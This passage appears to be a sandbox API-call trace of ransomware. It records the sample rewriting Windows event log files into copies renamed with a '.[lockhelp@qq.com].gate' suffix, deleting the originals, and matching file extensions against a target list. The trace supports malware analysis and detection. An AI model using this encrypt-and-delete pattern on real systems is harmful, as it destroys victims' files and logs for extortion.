dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3fc [0277.962] GetFileSizeEx (in: hFile=0x3fc, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=69632) returned 1 [0277.962] CloseHandle (hObject=0x3fc) returned 1 [0277.962] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4admin.evtx")) returned 0x20 [0277.963] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4admin.evtx.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0277.963] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3fc [0277.963] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0277.963] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0277.963] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4admin.evtx.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0278.149] GetLastError () returned 0x0 [0278.149] ReadFile (in: hFile=0x3fc, lpBuffer=0x43e3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesRead=0x39ffecc*=0x11000, lpOverlapped=0x0) returned 1 [0278.267] WriteFile (in: hFile=0x42c, lpBuffer=0x43e3020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesWritten=0x39ffc94*=0x11010, lpOverlapped=0x0) returned 1 [0278.268] ReadFile (in: hFile=0x3fc, lpBuffer=0x43e3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0278.268] WriteFile (in: hFile=0x42c, lpBuffer=0x43e3020*, nNumberOfBytesToWrite=0x158, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesWritten=0x39ffc94*=0x158, lpOverlapped=0x0) returned 1 [0278.269] SetEndOfFile (hFile=0x42c) returned 1 [0278.269] CloseHandle (hObject=0x42c) returned 1 [0278.271] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0278.271] SetEndOfFile (hFile=0x3fc) returned 1 [0278.272] CloseHandle (hObject=0x3fc) returned 1 [0278.272] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0278.272] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4admin.evtx")) returned 1 [0278.272] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned 74 [0278.272] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned 74 [0278.272] lstrlenW (lpString=".doc") returned 4 [0278.272] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0278.272] lstrlenW (lpString=".docx") returned 5 [0278.272] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0278.273] lstrlenW (lpString=".pdf") returned 4 [0278.273] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0278.273] lstrlenW (lpString=".xls") returned 4 [0278.273] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0278.273] lstrlenW (lpString=".xlsx") returned 5 [0278.273] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0278.273] lstrlenW (lpString=".ppt") returned 4 [0278.273] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0278.273] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned 74 [0278.273] lstrlenW (lpString=".zip") returned 4 [0278.273] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0278.273] lstrlenW (lpString=".rar") returned 4 [0278.273] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0278.273] lstrlenW (lpString=".bz2") returned 4 [0278.273] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0278.273] lstrlenW (lpString=".7z") returned 3 [0278.273] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0278.273] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned 74 [0278.273] lstrlenW (lpString=".dbf") returned 4 [0278.273] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0278.273] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned 74 [0278.273] lstrlenW (lpString=".1cd") returned 4 [0278.273] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0278.273] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned 74 [0278.273] lstrlenW (lpString=".jpg") returned 4 [0278.273] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0278.273] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned 74 [0278.273] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned 74 [0278.273] lstrlenW (lpString=".doc") returned 4 [0278.273] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0278.273] lstrlenW (lpString=".docx") returned 5 [0278.273] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0278.273] lstrlenW (lpString=".pdf") returned 4 [0278.274] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0278.274] lstrlenW (lpString=".xls") returned 4 [0278.274] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0278.274] lstrlenW (lpString=".xlsx") returned 5 [0278.274] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0278.274] lstrlenW (lpString=".ppt") returned 4 [0278.274] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0278.274] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned 74 [0278.274] lstrlenW (lpString=".zip") returned 4 [0278.274] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0278.274] lstrlenW (lpString=".rar") returned 4 [0278.274] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0278.274] lstrlenW (lpString=".bz2") returned 4 [0278.274] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0278.274] lstrlenW (lpString=".7z") returned 3 [0278.274] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0278.274] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned 74 [0278.274] lstrlenW (lpString=".dbf") returned 4 [0278.274] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0278.274] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned 74 [0278.274] lstrlenW (lpString=".1cd") returned 4 [0278.274] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0278.274] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned 74 [0278.274] lstrlenW (lpString=".jpg") returned 4 [0278.274] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0278.274] lstrcmpiW (lpString1=".evtx", lpString2=".gate") returned -1 [0278.274] lstrlenW (lpString="Microsoft-Windows-User Profile Service%4Operational.evtx") returned 56 [0278.274] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-user profile service%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3fc [0278.275] GetFileSizeEx (in: hFile=0x3fc, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=69632) returned 1 [0278.275] CloseHandle (hObject=0x3fc) returned 1 [0278.275] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-user profile service%4operational.evtx")) returned 0x20 [0278.275] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\logs\\microsoft-windows-user profile service%4operational.evtx.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0278.275] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-user profile service%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3fc [0278.275] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0278.275] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0278.275] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\logs\\microsoft-windows-user profile service%4operational.evtx.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0278.558] GetLastError () returned 0x0 [0278.558] ReadFile (in: hFile=0x3fc, lpBuffer=0x43e3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesRead=0x39ffecc*=0x11000, lpOverlapped=0x0) returned 1 [0278.690] WriteFile (in: hFile=0x394, lpBuffer=0x43e3020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesWritten=0x39ffc94*=0x11010, lpOverlapped=0x0) returned 1 [0278.692] ReadFile (in: hFile=0x3fc, lpBuffer=0x43e3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0278.692] WriteFile (in: hFile=0x394, lpBuffer=0x43e3020*, nNumberOfBytesToWrite=0x144, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesWritten=0x39ffc94*=0x144, lpOverlapped=0x0) returned 1 [0278.692] SetEndOfFile (hFile=0x394) returned 1 [0278.692] CloseHandle (hObject=0x394) returned 1 [0278.694] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0278.694] SetEndOfFile (hFile=0x3fc) returned 1 [0278.695] CloseHandle (hObject=0x3fc) returned 1 [0278.695] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0278.695] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-user profile service%4operational.evtx")) returned 1 [0278.696] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx") returned 64 [0278.696] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx") returned 64 [0278.696] lstrlenW (lpString=".doc") returned 4 [0278.696] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0278.696] lstrlenW (lpString=".docx") returned 5 [0278.696] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0278.696] lstrlenW (lpString=".pdf") returned 4 [0278.696] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0278.696] lstrlenW (lpString=".xls") returned 4 [0278.696] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0278.696] lstrlenW (lpString=".xlsx") returned 5 [0278.696] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0278.696] lstrlenW (lpString=".ppt") returned 4 [0278.696] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0278.696] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx") returned 64 [0278.696] lstrlenW (lpString=".zip") returned 4 [0278.696] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0278.696] lstrlenW (lpString=".rar") returned 4 [0278.696] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0278.696] lstrlenW (lpString=".bz2") returned 4 [0278.696] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0278.696] lstrlenW (lpString=".7z") returned 3 [0278.696] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0278.696] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx") returned 64 [0278.696] lstrlenW (lpString=".dbf") returned 4 [0278.696] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0278.696] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx") returned 64 [0278.696] lstrlenW (lpString=".1cd") returned 4 [0278.696] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0278.696] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx") returned 64 [0278.697] lstrlenW (lpString=".jpg") returned 4 [0278.697] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0278.697] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx") returned 64 [0278.697] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx") returned 64 [0278.697] lstrlenW (lpString=".doc") returned 4 [0278.697] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0278.697] lstrlenW (lpString=".docx") returned 5 [0278.697] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0278.697] lstrlenW (lpString=".pdf") returned 4 [0278.697] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0278.697] lstrlenW (lpString=".xls") returned 4 [0278.697] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0278.697] lstrlenW (lpString=".xlsx") returned 5 [0278.697] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0278.697] lstrlenW (lpString=".ppt") returned 4 [0278.697] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0278.697] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx") returned 64 [0278.697] lstrlenW (lpString=".zip") returned 4 [0278.697] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0278.697] lstrlenW (lpString=".rar") returned 4 [0278.697] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0278.697] lstrlenW (lpString=".bz2") returned 4 [0278.697] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0278.697] lstrlenW (lpString=".7z") returned 3 [0278.697] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0278.697] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx") returned 64 [0278.697] lstrlenW (lpString=".dbf") returned 4 [0278.697] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0278.697] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx") returned 64 [0278.697] lstrlenW (lpString=".1cd") returned 4 [0278.697] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0278.697] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx") returned 64 [0278.697] lstrlenW (lpString=".jpg") returned 4 [0278.697] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0278.698] lstrcmpiW (lpString1=".evtx", lpString2=".gate") returned -1 [0278.698] lstrlenW (lpString="Microsoft-Windows-Windows Defender%4Operational.evtx") returned 52 [0278.698] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-windows defender%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3fc [0278.698] GetFileSizeEx (in: hFile=0x3fc, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=69632) returned 1 [0278.698] CloseHandle (hObject=0x3fc) returned 1 [0278.698] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-windows defender%4operational.evtx")) returned 0x20 [0278.698] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\logs\\microsoft-windows-windows defender%4operational.evtx.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0278.698] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-windows defender%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3fc [0278.698] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0278.698] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0278.698] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\logs\\microsoft-windows-windows defender%4operational.evtx.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0278.699] GetLastError () returned 0x0 [0278.699] ReadFile (in: hFile=0x3fc, lpBuffer=0x43e3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesRead=0x39ffecc*=0x11000, lpOverlapped=0x0) returned 1 [0278.862] WriteFile (in: hFile=0x394, lpBuffer=0x43e3020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesWritten=0x39ffc94*=0x11010, lpOverlapped=0x0) returned 1 [0278.864] ReadFile (in: hFile=0x3fc, lpBuffer=0x43e3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0278.864] WriteFile (in: hFile=0x394, lpBuffer=0x43e3020*, nNumberOfBytesToWrite=0x13c, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesWritten=0x39ffc94*=0x13c, lpOverlapped=0x0) returned 1 [0278.864] SetEndOfFile (hFile=0x394) returned 1 [0278.865] CloseHandle (hObject=0x394) returned 1 [0278.867] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0278.867] SetEndOfFile (hFile=0x3fc) returned 1 [0278.868] CloseHandle (hObject=0x3fc) returned 1 [0278.868] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0278.868] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-windows defender%4operational.evtx")) returned 1 [0278.869] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx") returned 60 [0278.869] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx") returned 60 [0278.869] lstrlenW (lpString=".doc") returned 4 [0278.869] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0278.869] lstrlenW (lpString=".docx") returned 5 [0278.869] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0278.869] lstrlenW (lpString=".pdf") returned 4 [0278.869] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0278.869] lstrlenW (lpString=".xls") returned 4 [0278.869] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0278.869] lstrlenW (lpString=".xlsx") returned 5 [0278.869] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0278.869] lstrlenW (lpString=".ppt") returned 4 [0278.869] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0278.869] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx") returned 60 [0278.869] lstrlenW (lpString=".zip") returned 4 [0278.869] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0278.869] lstrlenW (lpString=".rar") returned 4 [0278.869] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0278.869] lstrlenW (lpString=".bz2") returned 4 [0278.869] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0278.869] lstrlenW (lpString=".7z") returned 3 [0278.869] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0278.869] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx") returned 60 [0278.869] lstrlenW (lpString=".dbf") returned 4 [0278.869] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0278.869] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx") returned 60 [0278.869] lstrlenW (lpString=".1cd") returned 4 [0278.869] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0278.869] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx") returned 60 [0278.869] lstrlenW (lpString=".jpg") returned 4 [0278.869] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0278.870] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx") returned 60 [0278.870] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx") returned 60 [0278.870] lstrlenW (lpString=".doc") returned 4 [0278.870] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0278.870] lstrlenW (lpString=".docx") returned 5 [0278.870] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0278.870] lstrlenW (lpString=".pdf") returned 4 [0278.870] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0278.870] lstrlenW (lpString=".xls") returned 4 [0278.870] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0278.870] lstrlenW (lpString=".xlsx") returned 5 [0278.870] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0278.870] lstrlenW (lpString=".ppt") returned 4 [0278.870] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0278.870] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx") returned 60 [0278.870] lstrlenW (lpString=".zip") returned 4 [0278.870] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0278.870] lstrlenW (lpString=".rar") returned 4 [0278.870] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0278.870] lstrlenW (lpString=".bz2") returned 4 [0278.870] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0278.870] lstrlenW (lpString=".7z") returned 3 [0278.870] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0278.870] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx") returned 60 [0278.871] lstrlenW (lpString=".dbf") returned 4 [0278.871] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0278.871] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx") returned 60 [0278.871] lstrlenW (lpString=".1cd") returned 4 [0278.871] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0278.871] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx") returned 60 [0278.871] lstrlenW (lpString=".jpg") returned 4 [0278.871] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0278.871] lstrcmpiW (lpString1=".evtx", lpString2=".gate") returned -1 [0278.871] lstrlenW (lpString="Microsoft-Windows-Winlogon%4Operational.evtx") returned 44 [0278.871] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-winlogon%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0279.170] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=69632) returned 1 [0279.170] CloseHandle (hObject=0x3bc) returned 1 [0279.171] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-winlogon%4operational.evtx")) returned 0x20 [0279.171] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\logs\\microsoft-windows-winlogon%4operational.evtx.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0279.171] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-winlogon%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0279.171] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0279.171] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0279.171] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\logs\\microsoft-windows-winlogon%4operational.evtx.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, 